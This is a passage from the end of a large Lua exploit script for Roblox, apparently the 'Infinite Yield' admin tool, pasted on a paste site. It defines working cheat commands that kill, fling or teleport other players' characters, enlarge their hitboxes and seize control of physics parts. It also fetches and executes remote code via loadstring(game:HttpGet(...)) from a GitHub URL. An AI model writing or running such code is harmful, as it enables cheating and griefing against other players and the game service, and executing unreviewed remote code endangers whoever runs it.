  8314. local hrp = speaker.Character.HumanoidRootPart
  8315. local hrp2 = target.Character.HumanoidRootPart
  8316. hum.Name = "1"
  8317. local newHum = hum:Clone()
  8318. newHum.Parent = char
  8319. newHum.Name = "Humanoid"
  8320. wait(0.1)
  8321. hum:Destroy()
  8322. workspace.CurrentCamera.CameraSubject = char
  8323. newHum.DisplayDistanceType = "None"
  8324. wait(0.1)
  8325. local tool = speaker.Backpack:FindFirstChildOfClass("Tool")
  8326. tool.Parent = char
  8327. hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-50, 50)/200,math.random(-50, 50)/200,math.random(-50, 50)/200)
  8328. local n = 0
  8329. repeat
  8330. wait(.2)
  8331. n = n + 1
  8332. hrp.CFrame = hrp2.CFrame
  8333. until n == 4
  8334. repeat wait(0.1)
  8335. hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
  8336. until not target.Character:FindFirstChild("HumanoidRootPart") or speaker.Character:FindFirstChild("HumanoidRootPart")
  8337. local goBack
  8338. goBack = speaker.CharacterAdded:Connect(function()
  8339. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8340. wait(0.3)
  8341. speaker.Character.HumanoidRootPart.CFrame = NormPos
  8342. goBack:Disconnect()
  8343. end)
  8344. end
  8345. else
  8346. notify('Tool Required','You need to have a tool to use this command')
  8347. end
  8348. end
  8349.  
  8350. addcmd('kill',{'fekill'},
  8351. function(args, speaker)
  8352. local players = getPlayer(args[1], speaker)
  8353. for i,v in pairs(players) do
  8354. kill(speaker,Players[v])
  8355. end
  8356. end)
  8357.  
  8358. addcmd('fastkill',{'fastfekill'},
  8359. function(args, speaker)
  8360. local players = getPlayer(args[1], speaker)
  8361. for i,v in pairs(players) do
  8362. kill(speaker,Players[v],true)
  8363. end
  8364. end)
  8365.  
  8366. function bring(speaker,target,fast)
  8367. if tools(speaker) then
  8368. if target ~= nil then
  8369. local NormPos = speaker.Character.HumanoidRootPart.CFrame
  8370. if not fast then
  8371. refresh(speaker)
  8372. wait()
  8373. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8374. wait(0.3)
  8375. end
  8376. local char = speaker.Character
  8377. local tchar = target.Character
  8378. local hum = speaker.Character.Humanoid
  8379. local hrp = speaker.Character.HumanoidRootPart
  8380. local hrp2 = target.Character.HumanoidRootPart
  8381. hum.Name = "1"
  8382. local newHum = hum:Clone()
  8383. newHum.Parent = char
  8384. newHum.Name = "Humanoid"
  8385. wait(0.1)
  8386. hum:Destroy()
  8387. workspace.CurrentCamera.CameraSubject = char
  8388. newHum.DisplayDistanceType = "None"
  8389. wait(0.1)
  8390. local tool = speaker.Backpack:FindFirstChildOfClass("Tool")
  8391. tool.Parent = char
  8392. hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-50, 50)/200,math.random(-50, 50)/200,math.random(-50, 50)/200)
  8393. local n = 0
  8394. repeat
  8395. wait(.2)
  8396. n = n + 1
  8397. hrp.CFrame = hrp2.CFrame
  8398. until n == 4
  8399. workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  8400. repeat wait(0.1)
  8401. hrp.CFrame = NormPos
  8402. until not target.Character:FindFirstChild("HumanoidRootPart") or speaker.Character:FindFirstChild("HumanoidRootPart")
  8403. local goBack
  8404. goBack = speaker.CharacterAdded:Connect(function()
  8405. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8406. wait(0.3)
  8407. speaker.Character.HumanoidRootPart.CFrame = NormPos
  8408. goBack:Disconnect()
  8409. end)
  8410. end
  8411. else
  8412. notify('Tool Required','You need to have a tool to use this command')
  8413. end
  8414. end
  8415.  
  8416. addcmd('bring',{'febring'},
  8417. function(args, speaker)
  8418. local players = getPlayer(args[1], speaker)
  8419. for i,v in pairs(players) do
  8420. bring(speaker,Players[v])
  8421. end
  8422. end)
  8423.  
  8424. addcmd('fastbring',{'fastfebring'},
  8425. function(args, speaker)
  8426. local players = getPlayer(args[1], speaker)
  8427. for i,v in pairs(players) do
  8428. bring(speaker,Players[v],true)
  8429. end
  8430. end)
  8431.  
  8432. addcmd('spin',{},
  8433. function(args, speaker)
  8434. local spinSpeed = 20
  8435. if args[1] and isNumber(args[1]) then
  8436. spinSpeed = args[1]
  8437. end
  8438. for i,v in pairs(speaker.Character.HumanoidRootPart:GetChildren()) do
  8439. if v.Name == "Spinning" then
  8440. v:Destroy()
  8441. end
  8442. end
  8443. local Spin = Instance.new("BodyAngularVelocity", speaker.Character.HumanoidRootPart)
  8444. Spin.Name = "Spinning"
  8445. Spin.MaxTorque = Vector3.new(0, math.huge, 0)
  8446. Spin.AngularVelocity = Vector3.new(0,spinSpeed,0)
  8447. end)
  8448.  
  8449. addcmd('unspin',{},
  8450. function(args, speaker)
  8451. for i,v in pairs(speaker.Character.HumanoidRootPart:GetChildren()) do
  8452. if v.Name == "Spinning" then
  8453. v:Destroy()
  8454. end
  8455. end
  8456. end)
  8457.  
  8458. transparent = false
  8459. function x(v)
  8460. if v then
  8461. for _,i in pairs(workspace:GetDescendants()) do
  8462. if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
  8463. i.LocalTransparencyModifier = 0.5
  8464. end
  8465. end
  8466. else
  8467. for _,i in pairs(workspace:GetDescendants()) do
  8468. if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
  8469. i.LocalTransparencyModifier = 0
  8470. end
  8471. end
  8472. end
  8473. end
  8474.  
  8475. addcmd('xray',{},
  8476. function(args, speaker)
  8477. transparent = true
  8478. x(transparent)
  8479. end)
  8480.  
  8481. addcmd('unxray',{'noxray'},
  8482. function(args, speaker)
  8483. transparent = false
  8484. x(transparent)
  8485. end)
  8486.  
  8487. addcmd('togglexray',{},
  8488. function(args, speaker)
  8489. transparent=not transparent
  8490. x(transparent)
  8491. end)
  8492.  
  8493. walltpTouch = nil
  8494. addcmd('walltp',{},
  8495. function(args, speaker)
  8496. local torso
  8497. if r15(speaker) then
  8498. torso = speaker.Character.UpperTorso
  8499. else
  8500. torso = speaker.Character.Torso
  8501. end
  8502. local function touchedFunc(hit)
  8503. local Root = speaker.Character.HumanoidRootPart
  8504. if hit:IsA("BasePart") and hit.Position.Y > Root.Position.Y - speaker.Character.Humanoid.HipHeight then
  8505. local hitP = hit.Parent:FindFirstChild("HumanoidRootPart")
  8506. if hitP ~= nil then
  8507. Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hitP.Size.Z/2 + speaker.Character.Humanoid.HipHeight,Root.CFrame.lookVector.Z)
  8508. elseif hitP == nil then
  8509. Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hit.Size.Y/2 + speaker.Character.Humanoid.HipHeight,Root.CFrame.lookVector.Z)
  8510. end
  8511. end
  8512. end
  8513. walltpTouch = torso.Touched:Connect(touchedFunc)
  8514. end)
  8515.  
  8516. addcmd('unwalltp',{'nowalltp'},
  8517. function(args, speaker)
  8518. if walltpTouch then
  8519. walltpTouch:Disconnect()
  8520. end
  8521. end)
  8522.  
  8523. autoclicking = false
  8524. addcmd('autoclick',{},
  8525. function(args, speaker)
  8526. if mouse1press and mouse1release then
  8527. execCmd('unautoclick')
  8528. wait()
  8529. local clickDelay = 0.1
  8530. local releaseDelay = 0.1
  8531. if args[1] and isNumber(args[1]) then clickDelay = tonumber(args[1]) end
  8532. if args[2] and isNumber(args[2]) then releaseDelay = tonumber(args[2]) end
  8533. autoclicking = true
  8534. cancelAutoClick = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent)
  8535. if not gameProcessedEvent then
  8536. if (input.KeyCode == Enum.KeyCode.Backspace and UserInputService:IsKeyDown(Enum.KeyCode.Equals)) or (input.KeyCode == Enum.KeyCode.Equals and UserInputService:IsKeyDown(Enum.KeyCode.Backspace)) then
  8537. autoclicking = false
  8538. cancelAutoClick:Disconnect()
  8539. end
  8540. end
  8541. end)
  8542. notify('Auto Clicker',"Press [backspace] and [=] at the same time to stop")
  8543. repeat wait(clickDelay)
  8544. mouse1press()
  8545. wait(releaseDelay)
  8546. mouse1release()
  8547. until autoclicking == false
  8548. else
  8549. notify('Auto Clicker',"Your exploit doesn't have the ability to use the autoclick")
  8550. end
  8551. end)
  8552.  
  8553. addcmd('unautoclick',{'noautoclick'},
  8554. function(args, speaker)
  8555. autoclicking = false
  8556. if cancelAutoClick then cancelAutoClick:Disconnect() end
  8557. end)
  8558.  
  8559. addcmd('mousesensitivity',{'ms'},
  8560. function(args, speaker)
  8561. UserInputService.MouseDeltaSensitivity = args[1]
  8562. end)
  8563.  
  8564. nameBox = nil
  8565. nbSelection = nil
  8566. addcmd('hovername',{},
  8567. function(args, speaker)
  8568. execCmd('unhovername')
  8569. wait()
  8570. nameBox = Instance.new("TextLabel")
  8571. nameBox.Name = randomString()
  8572. nameBox.Parent = PARENT
  8573. nameBox.BackgroundTransparency = 1
  8574. nameBox.Size = UDim2.new(0,200,0,30)
  8575. nameBox.Font = Enum.Font.Code
  8576. nameBox.TextSize = 16
  8577. nameBox.Text = ""
  8578. nameBox.TextColor3 = Color3.new(1, 1, 1)
  8579. nameBox.TextStrokeTransparency = 0
  8580. nameBox.TextXAlignment = Enum.TextXAlignment.Left
  8581. nameBox.ZIndex = 10
  8582. nbSelection = Instance.new('SelectionBox')
  8583. nbSelection.Name = randomString()
  8584. nbSelection.LineThickness = 0.03
  8585. nbSelection.Color3 = Color3.new(1, 1, 1)
  8586. local function updateNameBox()
  8587. local t
  8588. local target = IYMouse.Target
  8589.  
  8590. if target then
  8591. local humanoid = target.Parent:FindFirstChild('Humanoid') or target.Parent.Parent:FindFirstChild('Humanoid')
  8592. if humanoid then
  8593. t = humanoid.Parent
  8594. end
  8595. end
  8596.  
  8597. if t ~= nil then
  8598. local x = IYMouse.X
  8599. local y = IYMouse.Y
  8600. local xP
  8601. local yP
  8602. if IYMouse.X > 200 then
  8603. xP = x - 205
  8604. nameBox.TextXAlignment = Enum.TextXAlignment.Right
  8605. else
  8606. xP = x + 25
  8607. nameBox.TextXAlignment = Enum.TextXAlignment.Left
  8608. end
  8609. nameBox.Position = UDim2.new(0, xP, 0, y)
  8610. nameBox.Text = t.Name
  8611. nameBox.Visible = true
  8612. nbSelection.Parent = t
  8613. nbSelection.Adornee = t
  8614. else
  8615. nameBox.Visible = false
  8616. nbSelection.Parent = nil
  8617. nbSelection.Adornee = nil
  8618. end
  8619. end
  8620. nbUpdateFunc = IYMouse.Move:connect(updateNameBox)
  8621. end)
  8622.  
  8623. addcmd('unhovername',{'nohovername'},
  8624. function(args, speaker)
  8625. if nbUpdateFunc then
  8626. nbUpdateFunc:Disconnect()
  8627. nameBox:Destroy()
  8628. nbSelection:Destroy()
  8629. end
  8630. end)
  8631.  
  8632. addcmd('hitbox',{},
  8633. function(args, speaker)
  8634. local players = getPlayer(args[1], speaker)
  8635. for i,v in pairs(players) do
  8636. if Players[v]~= speaker and Players[v].Character:FindFirstChild('Head') then
  8637. local sizeArg = tonumber(args[2])
  8638. local Size = Vector3.new(sizeArg,sizeArg,sizeArg)
  8639. local Head = Players[v].Character:FindFirstChild('Head')
  8640. if Head:IsA("BasePart") then
  8641. if not args[2] or sizeArg == 1 then
  8642. Head.Size = Vector3.new(2,1,1)
  8643. else
  8644. Head.Size = Size
  8645. end
  8646. end
  8647. end
  8648. end
  8649. end)
  8650.  
  8651. freezingua = nil
  8652. frozenParts = {}
  8653. addcmd('freezeunanchored',{'freezeua'},
  8654. function(args, speaker)
  8655. local badnames = {
  8656. "Head",
  8657. "UpperTorso",
  8658. "LowerTorso",
  8659. "RightUpperArm",
  8660. "LeftUpperArm",
  8661. "RightLowerArm",
  8662. "LeftLowerArm",
  8663. "RightHand",
  8664. "LeftHand",
  8665. "RightUpperLeg",
  8666. "LeftUpperLeg",
  8667. "RightLowerLeg",
  8668. "LeftLowerLeg",
  8669. "RightFoot",
  8670. "LeftFoot",
  8671. "Torso",
  8672. "Right Arm",
  8673. "Left Arm",
  8674. "Right Leg",
  8675. "Left Leg",
  8676. "HumanoidRootPart"
  8677. }
  8678. local function FREEZENOOB(v)
  8679. if v:IsA("BasePart" or "UnionOperation") and v.Anchored == false then
  8680. local BADD = false
  8681. for i = 1,#badnames do
  8682. if v.Name == badnames[i] then
  8683. BADD = true
  8684. end
  8685. end
  8686. if speaker.Character and v:IsDescendantOf(speaker.Character) then
  8687. BADD = true
  8688. end
  8689. if BADD == false then
  8690. for i,c in pairs(v:GetChildren()) do
  8691. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  8692. c:Destroy()
  8693. end
  8694. end
  8695. local hUge = math.huge
  8696. speaker.MaximumSimulationRadius = math.pow(hUge,hUge)*hUge
  8697. speaker.SimulationRadius = math.pow(hUge,hUge)*hUge
  8698. local bodypos = Instance.new("BodyPosition",v)
  8699. bodypos.Position = v.Position
  8700. bodypos.MaxForce = Vector3.new(hUge,hUge,hUge)
  8701. local bodygyro = Instance.new("BodyGyro",v)
  8702. bodygyro.CFrame = v.CFrame
  8703. bodygyro.MaxTorque = Vector3.new(hUge,hUge,hUge)
  8704. if not table.find(frozenParts,v) then print('added')
  8705. table.insert(frozenParts,v)
  8706. end
  8707. end
  8708. end
  8709. end
  8710. for i,v in pairs(workspace:GetDescendants()) do
  8711. FREEZENOOB(v)
  8712. end
  8713. freezingua = workspace.DescendantAdded:Connect(FREEZENOOB)
  8714. end)
  8715.  
  8716. addcmd('thawunanchored',{'thawua','unfreezeunanchored','unfreezeua'},
  8717. function(args, speaker)
  8718. if freezingua then
  8719. freezingua:Disconnect()
  8720. end
  8721. speaker.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8722. speaker.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8723. for i,v in pairs(frozenParts) do
  8724. for i,c in pairs(v:GetChildren()) do
  8725. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  8726. c:Destroy()
  8727. end
  8728. end
  8729. end
  8730. frozenParts = {}
  8731. end)
  8732.  
  8733. addcmd('tpunanchored',{'tpua'},
  8734. function(args, speaker)
  8735. local players = getPlayer(args[1], speaker)
  8736. for i,v in pairs(players) do
  8737. local Forces = {}
  8738. for _,part in pairs(workspace:GetDescendants()) do
  8739. if Players[v].Character:FindFirstChild('Head') and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(speaker.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then
  8740. for i,c in pairs(part:GetChildren()) do
  8741. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  8742. c:Destroy()
  8743. end
  8744. end
  8745. local ForceInstance = Instance.new("BodyPosition", part)
  8746. ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  8747. table.insert(Forces, ForceInstance)
  8748. if not table.find(frozenParts,part) then
  8749. table.insert(frozenParts,part)
  8750. end
  8751. end
  8752. end
  8753. speaker.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8754. speaker.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8755. for i,c in pairs(Forces) do
  8756. c.Position = Players[v].Character.Head.Position
  8757. end
  8758. end
  8759. end)
  8760.  
  8761. addcmd('addplugin',{'plugin'},
  8762. function(args, speaker)
  8763. addPlugin(getstring(1))
  8764. end)
  8765.  
  8766. addcmd('removeplugin',{'deleteplugin'},
  8767. function(args, speaker)
  8768. deletePlugin(getstring(1))
  8769. end)
  8770.  
  8771. addcmd('reloadplugin',{},
  8772. function(args, speaker)
  8773. local pluginName = getstring(1)
  8774. deletePlugin(pluginName)
  8775. wait(1)
  8776. addPlugin(pluginName)
  8777. end)
  8778.  
  8779. addcmd('removecmd',{'deletecmd'},
  8780. function(args, speaker)
  8781. removecmd(args[1])
  8782. end)
  8783.  
  8784. updateColors(currentShade1,shade1)
  8785. updateColors(currentShade2,shade2)
  8786. updateColors(currentShade3,shade3)
  8787. updateColors(currentText1,text1)
  8788. updateColors(currentText2,text2)
  8789. updateColors(currentScroll,scroll)
  8790.  
  8791. if PluginsTable ~= nil or PluginsTable ~= {} then
  8792. FindPlugins(PluginsTable)
  8793. end
  8794.  
  8795. IYMouse.Move:connect(checkTT)
  8796.  
  8797. if pcall(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/version'))() end) then
  8798. if ver ~= Version then
  8799. notify('Outdated','Get the new version at infyield.yolasite.com')
  8800. end
  8801. if Announcement and Announcement ~= '' then
  8802. local AnnGUI = Instance.new("Frame")
  8803. local background = Instance.new("Frame")
  8804. local TextBox = Instance.new("TextLabel")
  8805. local shadow = Instance.new("Frame")
  8806. local PopupText = Instance.new("TextLabel")
  8807. local Exit = Instance.new("ImageButton")
  8808.  
  8809. AnnGUI.Name = randomString()
  8810. AnnGUI.Parent = PARENT
  8811. AnnGUI.Active = true
  8812. AnnGUI.BackgroundTransparency = 1
  8813. AnnGUI.Position = UDim2.new(0.5, -180, 0, -400)
  8814. AnnGUI.Size = UDim2.new(0, 360, 0, 20)
  8815. AnnGUI.ZIndex = 10
  8816.  
  8817. background.Name = "background"
  8818. background.Parent = AnnGUI
  8819. background.Active = true
  8820. background.BackgroundColor3 = currentShade1
  8821. background.BorderSizePixel = 0
  8822. background.Position = UDim2.new(0, 0, 0, 20)
  8823. background.Size = UDim2.new(0, 360, 0, 116)
  8824. background.ZIndex = 10
  8825.  
  8826. TextBox.Parent = background
  8827. TextBox.BackgroundTransparency = 1
  8828. TextBox.Position = UDim2.new(0.017, 0, 0.06, 0)
  8829. TextBox.Size = UDim2.new(0, 348, 0, 104)
  8830. TextBox.Font = Enum.Font.SourceSans
  8831. TextBox.TextSize = 18
  8832. TextBox.TextWrapped = true
  8833. TextBox.Text = Announcement
  8834. TextBox.TextColor3 = currentText1
  8835. TextBox.TextXAlignment = Enum.TextXAlignment.Left
  8836. TextBox.TextYAlignment = Enum.TextYAlignment.Top
  8837. TextBox.ZIndex = 10
  8838.  
  8839. shadow.Name = "shadow"
  8840. shadow.Parent = AnnGUI
  8841. shadow.BackgroundColor3 = currentShade2
  8842. shadow.BorderSizePixel = 0
  8843. shadow.Size = UDim2.new(0, 360, 0, 20)
  8844. shadow.ZIndex = 10
  8845.  
  8846. PopupText.Name = "PopupText"
  8847. PopupText.Parent = shadow
  8848. PopupText.BackgroundTransparency = 1
  8849. PopupText.Position = UDim2.new(0, 51, 0, 0)
  8850. PopupText.Size = UDim2.new(0.76, -16, 0.95, 0)
  8851. PopupText.ZIndex = 10
  8852. PopupText.Font = Enum.Font.SourceSans
  8853. PopupText.TextSize = 14
  8854. PopupText.Text = "Server Announcement"
  8855. PopupText.TextColor3 = currentText1
  8856. PopupText.TextWrapped = true
  8857.  
  8858. Exit.Name = "Exit"
  8859. Exit.Parent = shadow
  8860. Exit.BackgroundTransparency = 1
  8861. Exit.Size = UDim2.new(0, 20, 0, 20)
  8862. Exit.ZIndex = 10
  8863. Exit.Image = "rbxassetid://2132544126"
  8864.  
  8865. wait(1)
  8866. AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, 150), "InOut", "Quart", 0.5, true, nil)
  8867.  
  8868. Exit.MouseButton1Click:Connect(function()
  8869. AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  8870. wait(0.6)
  8871. AnnGUI:Destroy()
  8872. end)
  8873. end
  8874. end
  8875.  
  8876. wait()
  8877. Credits:TweenPosition(UDim2.new(0,0,0.9,0), "Out", "Quart", 0.2)
  8878. Logo:TweenSizeAndPosition(UDim2.new(0,175,0,175),UDim2.new(0,37,0,45), "Out", "Quart", 0.3)
  8879. wait(1)
  8880. for i=0,1,0.1 do
  8881. Logo.ImageTransparency = i
  8882. IntroBackground.BackgroundTransparency = i
  8883. wait()
  8884. end
  8885. Credits:TweenPosition(UDim2.new(0,0,0.9,30), "Out", "Quart", 0.2)
  8886. wait(0.2)
  8887. Logo:Destroy()
  8888. Credits:Destroy()
  8889. IntroBackground:Destroy()
  8890. minimizeHolder()
Add Comment
Please, Sign In to add comment